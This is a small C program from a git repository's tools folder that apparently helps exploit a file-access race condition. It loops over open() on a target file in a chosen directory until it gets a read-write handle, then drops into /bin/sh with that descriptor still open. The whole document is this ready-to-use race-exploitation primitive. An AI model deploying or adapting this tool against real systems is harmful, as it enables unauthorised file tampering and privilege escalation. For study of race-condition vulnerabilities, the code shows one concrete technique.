commit old stuff
[tools.git] / tools / racyopen_simple.c
1 #include <unistd.h>
2 #include <errno.h>
3 #include <string.h>
4 #include <stdlib.h>
5 #include <sys/types.h>
6 #include <sys/stat.h>
7 #include <fcntl.h>
8 #include <stdio.h>
9
10 int main(int argc, char *argv[]) {
11   if (argc != 3) { puts("invocation: ./racyopen <folder> <file>"); exit(1); }
12
13   chdir(argv[1]);
14   while (1) {
15     int fd = open(argv[2], O_RDWR);
16     if (fd == -1) {
17       //sched_yield();
18       continue;
19     }
20     printf("Success! Here's your shell with open fd.\n");
21     execl("/bin/sh", "sh", NULL);
22     printf("\nshell exited, resuming race\n");
23   }
24 }